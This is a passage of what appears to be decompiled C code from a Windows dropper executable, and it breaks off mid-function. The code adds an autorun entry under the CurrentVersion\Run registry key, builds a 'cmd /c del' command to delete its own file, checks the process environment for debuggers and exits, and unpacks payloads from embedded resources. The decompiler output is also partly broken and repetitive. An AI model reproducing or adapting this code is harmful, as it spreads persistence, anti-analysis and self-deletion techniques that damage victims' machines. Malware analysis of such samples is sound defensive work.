1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
| #include <stdbool.h>
#include <stdint.h>
#include <stdlib.h>
#include <windows.h>
struct tagPOINT {
int32_t e0;
int32_t e1;
};
struct tagMSG {
char * e0;
int32_t e1;
int32_t e2;
int32_t e3;
int32_t e4;
struct tagPOINT e5;
};
struct tagWNDCLASSEXA {
int32_t e0;
int32_t e1;
int32_t (**e2)(char *, int32_t, int32_t, int32_t);
int32_t e3;
int32_t e4;
char * e5;
char * e6;
char * e7;
char * e8;
char * e9;
char * e10;
char * e11;
};
// ------------------- Function Prototypes --------------------
char * entry_point(void);
void function_401000(int32_t a1);
int32_t function_4010fb(char * hWnd, int32_t Msg, int32_t wParam, int32_t lParam);
char * function_401157(void);
int32_t function_40119d(void);
int32_t function_4011af(void);
void function_4011c4(void);
char * function_4011cf(void);
int32_t function_4012d9(char * a1, int32_t a2, int32_t a3);
int32_t function_4012f7(char * lpString);
int32_t function_40135a(void);
char * function_4018a3(void);
char * function_401907(void);
int32_t function_401a90(char * a1, int32_t a2, int32_t a3, int32_t a4, int32_t a5);
int32_t function_401abe(void);
int32_t function_401b16(void);
void function_401b1e(void);
int32_t unknown_40207c(void);
// --------------------- Global Variables ---------------------
int32_t g1 = 0; // eax
int32_t g2 = 0; // ebp
int32_t g3 = 0; // ebx
int32_t g4 = 0; // ecx
int32_t g5 = 0; // edi
int32_t g6 = -0x7f97ff96; // 0x401692
int32_t g7 = 0x68f875ff; // 0x4017e0
int32_t g8 = 0x680000c6; // 0x40183d
int32_t g9 = 0x3c7c35ff; // 0x401866
int32_t g10 = 0x3d830eeb; // 0x40188c
int32_t g11 = -0x7217ff96; // 0x40189c
int32_t g12 = 0; // 0x40300b
struct tagWNDCLASSEXA * g13 = NULL; // 0x40300f
int32_t g14 = 0; // 0x403013
int32_t g15 = 0; // 0x40324d
int32_t g16 = 0; // 0x40334d
char * g17; // 0x403450
int32_t g18 = 0; // 0x403660
int32_t g19 = 0; // 0x403860
char * g20; // 0x403a60
int32_t g21 = 0; // 0x403c60
int32_t g22 = 0; // 0x403c70
char * g23; // 0x403c74
int32_t g24 = 0; // 0x403c78
char * g25; // 0x403c7c
int32_t g26 = 0; // 0x403c80
char * g27; // 0x403c84
char * g28; // 0x404c84
int32_t g29 = 0; // 0x405c84
int32_t g30 = 0; // 0x406c84
char * g31; // 0x407c84
int32_t g32 = 0; // 0x408c84
int32_t g33 = 0; // 0x409c84
int32_t g34 = 0; // 0x40ac84
char * g35; // 0x40bc84
char * g36; // 0x40dc84
int32_t g37 = 0; // 0x40fc84
char * g38; // 0x410184
int32_t g39 = 0; // 0x410684
char * g40; // 0x410688
int32_t g41 = 0; // 0x41068c
char * g42; // 0x410690
char * g43; // 0x410694
int32_t g44 = 0; // 0x410698
int32_t g45 = 0; // 0x41069c
int32_t g46 = 0; // 0x4106a0
int32_t g47 = 0; // 0x4106a4
int32_t g48 = 0; // 0x4106a8
char * g49; // 0x4106ac
int32_t g50 = 0; // 0x4106b0
char * g51; // 0x4106b4
int32_t g52 = 0; // 0x4106b8
int32_t g53 = 0; // 0x4106bc
int32_t g54 = 0; // 0x4106c0
int32_t (*g55)(int32_t, int32_t, int32_t, int32_t, int32_t, int32_t) = NULL; // 0x4106c4
int32_t (*g56)(int32_t, int32_t, int32_t, int32_t) = NULL; // 0x4106c8
int32_t g57 = 0; // 0x4106cc
int32_t (*g58)(int32_t) = NULL; // 0x4106d0
int32_t (*g59)(int32_t) = NULL; // 0x4106d4
int32_t g60 = 0; // 0x4106d8
int32_t (*g61)(int32_t, int32_t, int32_t, int32_t, int32_t, int32_t, int32_t, int32_t, int32_t) = NULL; // 0x4106dc
int32_t (*g62)(int32_t, int32_t, int32_t, int32_t, int32_t, int32_t) = NULL; // 0x4106e0
int32_t (*g63)(int32_t) = NULL; // 0x4106e4
int32_t g64 = 0; // 0x4106e8
int32_t (*g65)(int32_t, int32_t, int32_t, int32_t, int32_t, int32_t) = NULL; // 0x4106ec
// ------------------------ Functions -------------------------
// Address range: 0x401000 - 0x4010fa
void function_401000(int32_t a1) {
int32_t lpwcx = 48; // bp-52
char * hInstance = (char *)a1;
LoadIconA(hInstance, (char *)500);
LoadCursorA(NULL, (char *)0x7f00);
RegisterClassExA((struct tagWNDCLASSEXA *)&lpwcx);
char * windowHandle = CreateWindowExA(0, "WinClass32", "WinClass32", 0xcf0000, 200, 200, 200, 200, NULL, NULL, hInstance, NULL); // 0x4010aa
g13 = (struct tagWNDCLASSEXA *)windowHandle;
ShowWindow(windowHandle, 1);
UpdateWindow((char *)g13);
int32_t lpMsg;
if (!GetMessageA((struct tagMSG *)&lpMsg, NULL, 0, 0)) {
// 0x4010f4
return;
}
TranslateMessage((struct tagMSG *)&lpMsg);
DispatchMessageA((struct tagMSG *)&lpMsg);
while (GetMessageA((struct tagMSG *)&lpMsg, NULL, 0, 0)) {
// 0x4010e0
TranslateMessage((struct tagMSG *)&lpMsg);
DispatchMessageA((struct tagMSG *)&lpMsg);
// continue -> 0x4010e0
}
}
// Address range: 0x4010fb - 0x401156
int32_t function_4010fb(char * hWnd, int32_t Msg, int32_t wParam, int32_t lParam) {
// 0x4010fb
switch (Msg) {
case 0x9d99: {
// 0x40110a
function_40135a();
// branch -> 0x401142
break;
}
case 1: {
// 0x401117
function_4011cf();
SendMessageA(hWnd, 0x9d99, 0, 0);
// branch -> 0x401142
break;
}
case 2: {
// 0x401135
PostQuitMessage(0);
return 0;
}
}
// 0x401142
return DefWindowProcA(hWnd, Msg, wParam, lParam);
}
// Address range: 0x401157 - 0x40119c
char * function_401157(void) {
// 0x401157
lstrcpyA((char *)&g38, "/c del \"");
lstrcatA((char *)&g38, (char *)&g35);
char * result = lstrcatA((char *)&g38, "\" >> NUL"); // 0x40117f
g1 = (int32_t)result;
g55(0, 0, (int32_t)&g37, (int32_t)&g38, 0, 0);
return result;
}
// Address range: 0x40119d - 0x4011ae
int32_t function_40119d(void) {
int32_t result = *(int32_t *)48; // 0x40119e
if (*(char *)(result + 2) == 0) {
// 0x4011ae
return result;
}
// 0x4011a9
function_401b16();
return 0;
}
// Address range: 0x4011af - 0x4011c3
int32_t function_4011af(void) {
int32_t result = *(int32_t *)48; // 0x4011b0
if (*(int32_t *)(result + 104) == 112) {
// 0x4011c3
return result;
}
// 0x4011be
function_401b16();
return 0;
}
// Address range: 0x4011c4 - 0x4011ce
void function_4011c4(void) {
// 0x4011c4
function_40119d();
function_4011af();
}
// Address range: 0x4011cf - 0x4012d8
char * function_4011cf(void) {
char * moduleHandle = LoadLibraryA("Shell32.dll"); // 0x4011d4
g54 = (int32_t)moduleHandle;
g55 = (int32_t (*)(int32_t, int32_t, int32_t, int32_t, int32_t, int32_t))GetProcAddress(moduleHandle, "ShellExecuteA");
g56 = (int32_t (*)(int32_t, int32_t, int32_t, int32_t))GetProcAddress((char *)g54, "SHGetSpecialFolderPathA");
char * moduleHandle2 = LoadLibraryA("shlwapi.dll"); // 0x40120d
g57 = (int32_t)moduleHandle2;
g58 = (int32_t (*)(int32_t))GetProcAddress(moduleHandle2, "PathFindFileNameA");
g59 = (int32_t (*)(int32_t))GetProcAddress((char *)g57, "PathAddBackslashA");
char * moduleHandle3 = LoadLibraryA("advapi32.dll"); // 0x401246
g60 = (int32_t)moduleHandle3;
g61 = (int32_t (*)(int32_t, int32_t, int32_t, int32_t, int32_t, int32_t, int32_t, int32_t, int32_t))GetProcAddress(moduleHandle3, "RegCreateKeyExA");
g62 = (int32_t (*)(int32_t, int32_t, int32_t, int32_t, int32_t, int32_t))GetProcAddress((char *)g60, "RegSetValueExA");
g63 = (int32_t (*)(int32_t))GetProcAddress((char *)g60, "RegCloseKey");
char * moduleHandle4 = LoadLibraryA("ntdll.dll"); // 0x401294
g64 = (int32_t)moduleHandle4;
g65 = (int32_t (*)(int32_t, int32_t, int32_t, int32_t, int32_t, int32_t))GetProcAddress(moduleHandle4, "RtlDecompressBuffer");
GetModuleFileNameA(NULL, (char *)&g35, 0x1000);
return (char *)GetEnvironmentVariableA("ComSpec", (char *)&g37, 1280);
}
// Address range: 0x4012d9 - 0x4012f6
int32_t function_4012d9(char * a1, int32_t a2, int32_t a3) {
int32_t v1 = (int32_t)a1; // 0x4012ed
char v2;
int32_t result = ((int32_t)v2 ^ a2) % 16 + 65; // 0x4012eb
v2 = result;
*(char *)v1 = v2;
int32_t v3 = a2 - 1; // 0x4012ef
// branch -> 0x4012e3
while (v3 != 0) {
// 0x4012e3
g4 = v3;
v1++;
a2 = v3;
result = ((int32_t)v2 ^ a2) % 16 + 65;
v2 = result;
*(char *)v1 = v2;
v3 = a2 - 1;
// continue -> 0x4012e3
}
// 0x4012f2
int32_t v4;
g2 = v4;
return result;
}
// Address range: 0x4012f7 - 0x401359
int32_t function_4012f7(char * lpString) {
int32_t v1;
g2 = &v1;
int32_t v2;
int32_t v3 = &v2; // 0x4012fa_4
g1 = v3;
g61(-0x7ffffffe, (int32_t)"Software\\Microsoft\\Windows\\CurrentVersion\\Run", 0, 0, 0, 0xf003f, 0, v3, 0);
function_4012d9((char *)&g21, 15, -0x7ffffffe);
int32_t result = lstrlenA(lpString) + 1; // 0x401334
g1 = result;
g62(v2, (int32_t)&g21, 0, 1, (int32_t)lpString, result);
g63(v2);
g2 = v1;
return result;
}
// Address range: 0x40135a - 0x4018a2
int32_t function_40135a(void) {
int32_t v1 = 0; // esp
int32_t v2;
char * v3 = (char *)v2; // bp-140
int32_t v4;
g2 = &v4;
g1 = GetSystemDirectoryA((char *)&g27, 0x1000);
g59((int32_t)&g27);
g1 = GetWindowsDirectoryA((char *)&g28, 0x1000);
g59((int32_t)&g28);
g1 = GetTempPathA(0x1000, (char *)&g29);
g59((int32_t)&g29);
int32_t nameSize = GetModuleFileNameA(NULL, (char *)&g20, 512); // 0x4013bb
g1 = nameSize;
g58((int32_t)&g20);
*(char *)nameSize = 0;
g1 = GetEnvironmentVariableA("APPDATA", (char *)&g31, 0x1000);
g59((int32_t)&g31);
g56(0, (int32_t)&g32, 7, 1);
g59((int32_t)&g32);
g56(0, (int32_t)&g33, 16, 1);
g59((int32_t)&g33);
function_401907();
if (g39 == 1) {
// 0x401433
function_4011c4();
// branch -> 0x401438
}
// 0x401438
function_401abe();
g3 = (int32_t)g40;
int32_t v5;
int32_t v6 = &v5; // 0x401446_0
int32_t v7 = (int32_t)&v3;
int32_t v8;
int32_t v9 = &v8;
int32_t v10 = 0; // 0x401445
// branch -> 0x401445
int32_t v11; // 0x40189c
int32_t v12; // 0x401887
while (true) {
int32_t v13 = v10 + 1; // 0x401445
g4 = v13;
v5 = v13;
char * lpName = (char *)v13;
v3 = lpName;
char * hResInfo = FindResourceA(NULL, lpName, (char *)10); // 0x40144c
v12 = v6;
if (hResInfo == NULL) {
// 0x40187e
switch (g45) {
case 1: {
// 0x401887
*(int32_t *)(v12 - 4) = (int32_t)&g10;
function_401157();
// branch -> 0x40189c
// 0x40189c
v11 = v1;
*(int32_t *)(v11 - 4) = 0;
*(int32_t *)(v11 - 8) = 0x4018a3;
ExitProcess(0);
// UNREACHABLE
}
case 2: {
// 0x401897
*(int32_t *)(v12 - 4) = (int32_t)&g11;
function_4018a3();
// branch -> 0x40189c
// 0x40189c
v11 = v1;
*(int32_t *)(v11 - 4) = 0;
*(int32_t *)(v11 - 8) = 0x4018a3;
ExitProcess(0);
// UNREACHABLE
}
}
// 0x40189c
v11 = v1;
*(int32_t *)(v11 - 4) = 0;
*(int32_t *)(v11 - 8) = 0x4018a3;
ExitProcess(0);
// UNREACHABLE
}
// 0x40145a
g23 = hResInfo;
v3 = NULL;
int32_t v14 = SizeofResource(NULL, hResInfo); // 0x401462
if (v14 == 0) {
v12 = v6;
// 0x40187e
switch (g45) {
case 1: {
// 0x401887
*(int32_t *)(v12 - 4) = (int32_t)&g10;
function_401157();
// branch -> 0x40189c
// 0x40189c
v11 = v1;
*(int32_t *)(v11 - 4) = 0;
*(int32_t *)(v11 - 8) = 0x4018a3;
ExitProcess(0);
// UNREACHABLE
}
case 2: {
// 0x401897
*(int32_t *)(v12 - 4) = (int32_t)&g11;
function_4018a3();
// branch -> 0x40189c
// 0x40189c
v11 = v1;
*(int32_t *)(v11 - 4) = 0;
*(int32_t *)(v11 - 8) = 0x4018a3;
ExitProcess(0);
// UNREACHABLE
}
}
// 0x40189c
v11 = v1;
*(int32_t *)(v11 - 4) = 0;
*(int32_t *)(v11 - 8) = 0x4018a3;
ExitProcess(0);
// UNREACHABLE
}
// 0x401470
g24 = v14;
v3 = NULL;
char * hResData = LoadResource(NULL, g23); // 0x40147d
if (hResData == NULL) {
v12 = v6;
// 0x40187e
switch (g45) {
case 1: {
// 0x401887
*(int32_t *)(v12 - 4) = (int32_t)&g10;
function_401157();
// branch -> 0x40189c
// 0x40189c
v11 = v1;
*(int32_t *)(v11 - 4) = 0;
*(int32_t *)(v11 - 8) = 0x4018a3;
ExitProcess(0);
// UNREACHABLE
}
case 2: {
// 0x401897
*(int32_t *)(v12 - 4) = (int32_t)&g11;
function_4018a3();
// branch -> 0x40189c
// 0x40189c
v11 = v1;
*(int32_t *)(v11 - 4) = 0;
*(int32_t *)(v11 - 8) = 0x4018a3;
ExitProcess(0);
// UNREACHABLE
}
}
// 0x40189c
v11 = v1;
*(int32_t *)(v11 - 4) = 0;
*(int32_t *)(v11 - 8) = 0x4018a3;
ExitProcess(0);
// UNREACHABLE
}
// 0x40148b
g25 = hResData;
char * v15 = LockResource(hResData); // 0x401491
if (v15 == NULL) {
v12 = v6;
// 0x40187e
switch (g45) {
case 1: {
// 0x401887
*(int32_t *)(v12 - 4) = (int32_t)&g10;
function_401157();
// branch -> 0x40189c
// 0x40189c
v11 = v1;
*(int32_t *)(v11 - 4) = 0;
*(int32_t *)(v11 - 8) = 0x4018a3;
ExitProcess(0);
// UNREACHABLE
}
case 2: {
// 0x401897
*(int32_t *)(v12 - 4) = (int32_t)&g11;
function_4018a3();
// branch -> 0x40189c
// 0x40189c
v11 = v1;
*(int32_t *)(v11 - 4) = 0;
*(int32_t *)(v11 - 8) = 0x4018a3;
ExitProcess(0);
// UNREACHABLE
}
}
// 0x40189c
v11 = v1;
*(int32_t *)(v11 - 4) = 0;
*(int32_t *)(v11 - 8) = 0x4018a3;
ExitProcess(0);
// UNREACHABLE
}
// 0x40149f
g26 = (int32_t)v15;
v3 = (char *)64;
char * v16 = GlobalAlloc(64, g24); // 0x4014ac
if (v16 == NULL) {
v12 = v6;
// 0x40187e
switch (g45) {
case 1: {
// 0x401887
*(int32_t *)(v12 - 4) = (int32_t)&g10;
function_401157();
// branch -> 0x40189c
// 0x40189c
v11 = v1;
*(int32_t *)(v11 - 4) = 0;
*(int32_t *)(v11 - 8) = 0x4018a3;
ExitProcess(0);
// UNREACHABLE
}
case 2: {
// 0x401897
*(int32_t *)(v12 - 4) = (int32_t)&g11;
function_4018a3();
// branch -> 0x40189c
// 0x40189c
v11 = v1;
*(int32_t *)(v11 - 4) = 0;
*(int32_t *)(v11 - 8) = 0x4018a3;
ExitProcess(0);
// UNREACHABLE
}
}
// 0x40189c
v11 = v1;
*(int32_t *)(v11 - 4) = 0;
*(int32_t *)(v11 - 8) = 0x4018a3;
ExitProcess(0);
// UNREACHABLE
} |